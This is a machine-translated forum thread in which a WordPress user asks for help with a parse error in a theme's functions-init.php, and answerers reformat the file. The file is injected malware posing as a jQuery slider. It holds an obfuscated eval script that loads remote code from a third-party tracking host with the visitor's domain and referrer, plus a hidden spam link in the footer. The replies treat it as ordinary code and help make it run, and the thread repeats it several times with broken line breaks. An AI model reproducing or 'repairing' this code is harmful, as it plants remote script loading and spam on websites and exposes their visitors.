Ошибка анализа: синтаксическая ошибка, неожиданный '}'

Интересно, кто-нибудь пощадит минутку, чтобы просмотреть код и помочь мне. Я не подхожу к php, и мне нужна помощь.

Я установил тему на мой WordPress, и когда я активировал ее, я получил это сообщение об ошибке:

Ошибка анализа: синтаксическая ошибка, неожиданный '}' в /home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php в строке 1

Сообщение отображается как в моем переднем конце домена, так и на моей задней панели WordPress.

Я предполагаю, что у меня слишком много или слишком мало скобок. Но я не знаю, где. Я не могу увидеть фактическую ошибку, потому что я не знаком с кодировкой php. Все, что я знаю, это строка 1, и это связано с "}"

Весь файл состоит только из 2 строк кода, и если кто-то может помочь, я бы очень признателен.

Это весь код, который появляется в функции-init.php

<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://ab/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?> <?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?> 

Кто-нибудь может мне помочь. Я смотрел, и я искал форумы и веб, но я не нашел решения.

Спасибо заранее.

Это может быть просто вопрос форматирования кода, попробуйте следующее:

 <?php if (!function_exists('insert_jquery_slider')){ function insert_jquery_slider(){ ?> <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://ab/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net

platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php } add_action('wp_head', 'insert_jquery_slider'); } if (!function_exists('insert_jquery_slidernew')) { function insert_jquery_slidernew(){ ?> <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php } add_action('wp_footer', 'insert_jquery_slidernew'); } ?> – <?php if (!function_exists('insert_jquery_slider')){ function insert_jquery_slider(){ ?> <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://ab/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net

platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php } add_action('wp_head', 'insert_jquery_slider'); } if (!function_exists('insert_jquery_slidernew')) { function insert_jquery_slidernew(){ ?> <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php } add_action('wp_footer', 'insert_jquery_slidernew'); } ?>

Такая проблема форматирования кода:

 <?php if (!function_exists('insert_jquery_slider')) { function insert_jquery_slider() { ?> <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://ab/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net

platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php } add_action('wp_head', 'insert_jquery_slider'); } if (!function_exists('insert_jquery_slidernew')) { function insert_jquery_slidernew() { ?> <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php } add_action('wp_footer', 'insert_jquery_slidernew'); } ?> – <?php if (!function_exists('insert_jquery_slider')) { function insert_jquery_slider() { ?> <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://ab/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net

platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php } add_action('wp_head', 'insert_jquery_slider'); } if (!function_exists('insert_jquery_slidernew')) { function insert_jquery_slidernew() { ?> <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php } add_action('wp_footer', 'insert_jquery_slidernew'); } ?>

Пожалуйста, закройте тему. Благодарю.